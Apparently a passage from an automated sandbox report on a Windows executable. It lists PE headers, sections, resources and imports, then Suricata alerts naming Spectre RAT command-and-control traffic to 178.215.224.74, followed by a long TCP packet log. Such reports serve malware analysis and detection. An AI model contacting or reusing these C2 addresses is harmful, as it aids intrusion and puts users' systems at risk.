add esi, 02h
cmp word ptr [esi], bx

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ C ] VS2010 SP1 build 40219
[RES] VS2010 SP1 build 40219
[LNK] VS2010 SP1 build 40219

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xac40	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x100000	0x236ee	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x12d79f	0x2860
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x86000	0x994	.ndata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x9000	0x2d0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x728c	0x7400	419d4e1be1ac35a5db9c47f553b27cea	False	0.6566540948275862	data	6.499708590628113	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x9000	0x2b6e	0x2c00	cca1ca3fbf99570f6de9b43ce767f368	False	0.3678977272727273	data	4.497932535153822	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xc000	0x72b9c	0x200	77f0839f8ebea31040e462523e1c770e	False	0.279296875	data	1.8049406284608531	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x7f000	0x81000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x100000	0x236ee	0x23800	d4b7777c39e0cdfd8fc2eb8610c0025a	False	0.9409317231514085	data	7.730108626388941	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x124000	0xfd6	0x1000	e8112a529f31e46f81db1a2c203d09c7	False	0.597900390625	data	5.582671519403722	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x100250	0x174c0	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.983148893360161
RT_ICON	0x117710	0x7e45	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced	English	United States	1.000340293890178
RT_ICON	0x11f558	0x2668	Device independent bitmap graphic, 48 x 96 x 32, image size 9792	English	United States	0.5926566314076485
RT_ICON	0x121bc0	0x1128	Device independent bitmap graphic, 32 x 64 x 32, image size 4352	English	United States	0.6434426229508197
RT_ICON	0x122ce8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.7526595744680851
RT_DIALOG	0x123150	0x100	data	English	United States	0.5234375
RT_DIALOG	0x123250	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x12336c	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x1233cc	0x4c	Targa image data - Map 32 x 29888 x 1 +1	English	United States	0.8026315789473685
RT_MANIFEST	0x123418	0x2d6	XML 1.0 document, ASCII text, with very long lines (726), with no line terminators	English	United States	0.5647382920110193

Imports

DLL	Import
KERNEL32.dll	SetFileTime, CompareFileTime, SearchPathW, GetShortPathNameW, GetFullPathNameW, MoveFileW, SetCurrentDirectoryW, GetFileAttributesW, GetLastError, CreateDirectoryW, SetFileAttributesW, Sleep, GetTickCount, GetFileSize, GetModuleFileNameW, GetCurrentProcess, CopyFileW, ExitProcess, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, SetErrorMode, lstrcpynA, CloseHandle, lstrcpynW, GetDiskFreeSpaceW, GlobalUnlock, GlobalLock, CreateThread, LoadLibraryW, CreateProcessW, lstrcmpiA, CreateFileW, GetTempFileNameW, lstrcatW, GetProcAddress, LoadLibraryA, GetModuleHandleA, OpenProcess, lstrcpyW, GetVersionExW, GetSystemDirectoryW, GetVersion, lstrcpyA, RemoveDirectoryW, lstrcmpA, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalAlloc, WaitForSingleObject, GetExitCodeProcess, GlobalFree, GetModuleHandleW, LoadLibraryExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, WideCharToMultiByte, lstrlenA, MulDiv, WriteFile, ReadFile, MultiByteToWideChar, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW, lstrlenW
USER32.dll	GetAsyncKeyState, IsDlgButtonChecked, ScreenToClient, GetMessagePos, CallWindowProcW, IsWindowVisible, LoadBitmapW, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, TrackPopupMenu, GetWindowRect, AppendMenuW, CreatePopupMenu, GetSystemMetrics, EndDialog, EnableMenuItem, GetSystemMenu, SetClassLongW, IsWindowEnabled, SetWindowPos, DialogBoxParamW, CheckDlgButton, CreateWindowExW, SystemParametersInfoW, RegisterClassW, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharNextA, CharUpperW, CharPrevW, wvsprintfW, DispatchMessageW, PeekMessageW, wsprintfA, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, LoadCursorW, SetCursor, GetWindowLongW, GetSysColor, CharNextW, GetClassInfoW, ExitWindowsEx, IsWindow, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndPaint, FindWindowExW
GDI32.dll	SetBkColor, GetDeviceCaps, DeleteObject, CreateBrushIndirect, CreateFontIndirectW, SetBkMode, SetTextColor, SelectObject
SHELL32.dll	SHBrowseForFolderW, SHGetPathFromIDListW, SHGetFileInfoW, ShellExecuteW, SHFileOperationW, SHGetSpecialFolderLocation
ADVAPI32.dll	RegEnumKeyW, RegOpenKeyExW, RegCloseKey, RegDeleteKeyW, RegDeleteValueW, RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegEnumValueW
COMCTL32.dll	ImageList_AddMasked, ImageList_Destroy, ImageList_Create
ole32.dll	CoTaskMemFree, OleInitialize, OleUninitialize, CoCreateInstance
VERSION.dll	GetFileVersionInfoSizeW, GetFileVersionInfoW, VerQueryValueW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-24T12:05:21.959147+0100	2853767	ETPRO MALWARE Win32/Spectre RAT CnC Activity M1	1	192.168.2.5	49864	178.215.224.74	80	TCP
2024-11-24T12:05:21.959147+0100	2853768	ETPRO MALWARE Win32/SpectreRAT CnC Activity M2	1	192.168.2.5	49864	178.215.224.74	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 24, 2024 12:04:25.177210093 CET	49732	80	192.168.2.5	178.215.224.252
Nov 24, 2024 12:04:25.296983957 CET	80	49732	178.215.224.252	192.168.2.5
Nov 24, 2024 12:04:25.297072887 CET	49732	80	192.168.2.5	178.215.224.252
Nov 24, 2024 12:04:25.297477961 CET	49732	80	192.168.2.5	178.215.224.252
Nov 24, 2024 12:04:25.417644024 CET	80	49732	178.215.224.252	192.168.2.5
Nov 24, 2024 12:04:47.228230953 CET	80	49732	178.215.224.252	192.168.2.5
Nov 24, 2024 12:04:47.228383064 CET	49732	80	192.168.2.5	178.215.224.252
Nov 24, 2024 12:04:47.269731998 CET	49732	80	192.168.2.5	178.215.224.252
Nov 24, 2024 12:04:47.389327049 CET	80	49732	178.215.224.252	192.168.2.5
Nov 24, 2024 12:04:53.120485067 CET	49793	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:04:53.240432024 CET	80	49793	178.215.224.74	192.168.2.5
Nov 24, 2024 12:04:53.240603924 CET	49793	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:04:53.240776062 CET	49793	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:04:53.360373020 CET	80	49793	178.215.224.74	192.168.2.5
Nov 24, 2024 12:04:54.608581066 CET	80	49793	178.215.224.74	192.168.2.5
Nov 24, 2024 12:04:54.617719889 CET	49793	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:04:54.738193035 CET	80	49793	178.215.224.74	192.168.2.5
Nov 24, 2024 12:04:54.738291979 CET	49793	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:04:54.912442923 CET	49798	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:04:55.032366991 CET	80	49798	178.215.224.74	192.168.2.5
Nov 24, 2024 12:04:55.032502890 CET	49798	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:04:55.032725096 CET	49798	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:04:55.154823065 CET	80	49798	178.215.224.74	192.168.2.5
Nov 24, 2024 12:04:56.343988895 CET	80	49798	178.215.224.74	192.168.2.5
Nov 24, 2024 12:04:56.345562935 CET	49798	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:04:56.465677023 CET	80	49798	178.215.224.74	192.168.2.5
Nov 24, 2024 12:04:56.465764999 CET	49798	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:04:56.498632908 CET	49800	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:04:56.618340969 CET	80	49800	178.215.224.74	192.168.2.5
Nov 24, 2024 12:04:56.618442059 CET	49800	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:04:56.618705034 CET	49800	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:04:56.742481947 CET	80	49800	178.215.224.74	192.168.2.5
Nov 24, 2024 12:04:57.936877966 CET	80	49800	178.215.224.74	192.168.2.5
Nov 24, 2024 12:04:57.949026108 CET	49800	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:04:58.069073915 CET	80	49800	178.215.224.74	192.168.2.5
Nov 24, 2024 12:04:58.072737932 CET	49800	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:04:58.154668093 CET	49806	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:04:58.274377108 CET	80	49806	178.215.224.74	192.168.2.5
Nov 24, 2024 12:04:58.276763916 CET	49806	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:04:58.276925087 CET	49806	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:04:58.398413897 CET	80	49806	178.215.224.74	192.168.2.5
Nov 24, 2024 12:04:59.633570910 CET	80	49806	178.215.224.74	192.168.2.5
Nov 24, 2024 12:04:59.641096115 CET	49806	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:04:59.761104107 CET	80	49806	178.215.224.74	192.168.2.5
Nov 24, 2024 12:04:59.761241913 CET	49806	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:04:59.841402054 CET	49812	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:04:59.964603901 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:04:59.964795113 CET	49812	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:04:59.965029001 CET	49812	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:00.084825039 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.264620066 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.264697075 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.264734983 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.264767885 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.264801025 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.264834881 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.264869928 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.264869928 CET	49812	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:01.264869928 CET	49812	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:01.264894962 CET	49812	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:01.264904022 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.264938116 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.264951944 CET	49812	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:01.264972925 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.265029907 CET	49812	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:01.385499001 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.385834932 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.385909081 CET	49812	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:01.456671953 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.456886053 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.456939936 CET	49812	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:01.460817099 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.460932970 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.460983038 CET	49812	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:01.469249964 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.469460964 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.469504118 CET	49812	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:01.477720022 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.477889061 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.477943897 CET	49812	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:01.486169100 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.486344099 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.486404896 CET	49812	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:01.494504929 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.494641066 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.494693995 CET	49812	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:01.502966881 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.503129005 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.503186941 CET	49812	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:01.511358976 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.512106895 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.512166977 CET	49812	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:01.519845009 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.520410061 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.520478964 CET	49812	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:01.528156042 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.528584957 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.528642893 CET	49812	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:01.536567926 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.536900043 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.536959887 CET	49812	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:01.648900032 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.649024010 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.649338007 CET	49812	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:01.651215076 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.651890039 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.651957035 CET	49812	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:01.657413960 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.657726049 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.657793045 CET	49812	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:01.662410975 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.662611008 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.662674904 CET	49812	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:01.668283939 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.668507099 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.668561935 CET	49812	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:01.673021078 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.674240112 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.674331903 CET	49812	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:01.677573919 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.677731991 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.677783012 CET	49812	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:01.681433916 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.682310104 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.682364941 CET	49812	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:01.686384916 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.686672926 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.686728954 CET	49812	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:01.691787958 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.692008018 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.692065954 CET	49812	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:01.696532965 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.697025061 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.697082996 CET	49812	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:01.700114965 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.700234890 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.700293064 CET	49812	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:01.704879999 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.705178976 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.705233097 CET	49812	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:01.710316896 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.711365938 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.711424112 CET	49812	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:01.715593100 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.715879917 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.715931892 CET	49812	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:01.720065117 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.720298052 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.720352888 CET	49812	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:01.724848032 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.724998951 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.725049973 CET	49812	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:01.729298115 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.729537964 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.729588985 CET	49812	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:01.735193968 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.735399008 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.735446930 CET	49812	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:01.739104033 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.739375114 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.739435911 CET	49812	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:01.743685961 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.794939995 CET	49812	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:01.842932940 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.843091965 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.843275070 CET	49812	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:01.844876051 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.845016956 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.845076084 CET	49812	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:01.848016024 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.848323107 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.848381996 CET	49812	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:01.852147102 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.852273941 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.852330923 CET	49812	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:01.856014013 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.856386900 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.856446981 CET	49812	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:01.860068083 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.860232115 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.860286951 CET	49812	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:01.863697052 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.863955975 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.864012957 CET	49812	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:01.867419004 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.867640018 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.867695093 CET	49812	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:01.870826006 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.871059895 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.871114969 CET	49812	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:01.874378920 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.874511003 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.874567032 CET	49812	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:01.877926111 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.878034115 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.878088951 CET	49812	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:01.881515980 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.881624937 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.881676912 CET	49812	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:01.885169983 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.885237932 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.885288954 CET	49812	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:01.888550997 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.888689995 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.888741016 CET	49812	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:01.892210007 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.892441034 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.892508984 CET	49812	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:01.895807028 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.895860910 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.895910978 CET	49812	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:01.899307013 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.899393082 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.899444103 CET	49812	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:01.902766943 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.902817965 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.902863979 CET	49812	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:01.906425953 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.906603098 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.906656981 CET	49812	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:01.909954071 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.910062075 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.910115004 CET	49812	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:01.913414001 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.913516998 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.913566113 CET	49812	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:01.917051077 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.917145967 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.917197943 CET	49812	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:01.920459032 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.920514107 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.920561075 CET	49812	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:01.923979044 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.924134016 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.924186945 CET	49812	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:01.927572966 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.927680016 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.927732944 CET	49812	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:01.931217909 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.931371927 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.931425095 CET	49812	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:01.934700966 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.934813976 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.934861898 CET	49812	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:01.938189030 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.938380957 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.938436985 CET	49812	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:01.941765070 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.941893101 CET	80	49812	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:01.941947937 CET	49812	80	192.168.2.5	178.215.224.74
